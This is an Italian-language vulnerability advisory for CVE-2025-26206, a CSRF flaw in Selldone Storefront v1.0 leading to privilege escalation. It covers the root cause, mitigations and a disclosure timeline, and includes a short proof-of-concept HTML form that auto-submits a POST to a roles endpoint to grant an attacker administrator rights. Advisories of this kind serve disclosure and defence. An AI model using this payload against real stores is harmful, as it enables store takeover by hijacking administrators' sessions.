
Vulnerabilità CSRF in Selldone Storefront v1.0 che porta a escalation dei privilegi (CVE-2025-26206, CVSS 9.0).
Una vulnerabilità critica di Cross-Site Request Forgery (CSRF) in Selldone Storefront v1.0 consente ad attaccanti remoti di escalare i privilegi inducendo gli utenti autenticati a eseguire richieste che modificano lo stato attraverso il livello applicativo dello storefront. Scoperta e divulgata in modo responsabile da Sibhi Balamurugan (@xibhi).
| Campo | Dettaglio |
|---|---|
| ID CVE | CVE-2025-26206 |
| Tipo | Cross-Site Request Forgery (CWE-352) |
| Prodotto | Selldone Storefront |
| Versione interessata | v1.0 |
| Componente | index.html / Bootstrap della sessione |
| Impatto | Escalation dei privilegi / Takeover dello store |
| CVSS v3.1 | 9.0 (Critico) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H |
| Scopritore | Sibhi Balamurugan (@xibhi) |
Selldone Storefront v1.0 mancava della verifica del token anti-CSRF sugli endpoint che modificano lo stato, e i cookie di autenticazione venivano memorizzati senza rigidi confini cross-site (SameSite omesso).
Quando un proprietario di store o un amministratore autenticato visita una pagina web controllata dall'attaccante, il browser allega automaticamente i cookie di sessione ambientali alle richieste cross-origin, eseguendo operazioni privilegiate senza il consenso della vittima.
Sito dell'attaccante → Browser della vittima (possiede la sessione) → API Selldone (cookie inviato, nessun controllo CSRF) → Ruolo modificato
Un attaccante ospita una pagina malevola con un form ad invio automatico che punta a un endpoint privilegiato:
<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
<input type="hidden" name="user_id" value="attacker_id" />
<input type="hidden" name="role" value="administrator" />
</form>
<script>
document.getElementById("csrf").submit();
</script>
Quando un amministratore autenticato visita la pagina, il browser invia la richiesta con le sue credenziali, elevando l'account dell'attaccante.
X-CSRF-TOKEN validato o un token sincronizzatore su tutte le richieste non-GET (POST, PUT, DELETE, PATCH).SameSite=Lax o SameSite=Strict, insieme ai flag Secure e HttpOnly sui cookie di sessione.Origin e Referer su tutti gli endpoint che modificano lo stato.| Data | Milestone |
|---|---|
| Feb 2025 | Scoperta e segnalata al fornitore. |
| 24 feb 2025 | Pubblicato l'avviso iniziale. |
| 03 mar 2025 | NVD ha pubblicato la voce. |
| 04 mar 2025 | NVD ha assegnato un punteggio CVSS 9.0 (Critico). |
Scopritore: Sibhi Balamurugan (@xibhi)
Questo progetto è distribuito sotto la Licenza MIT.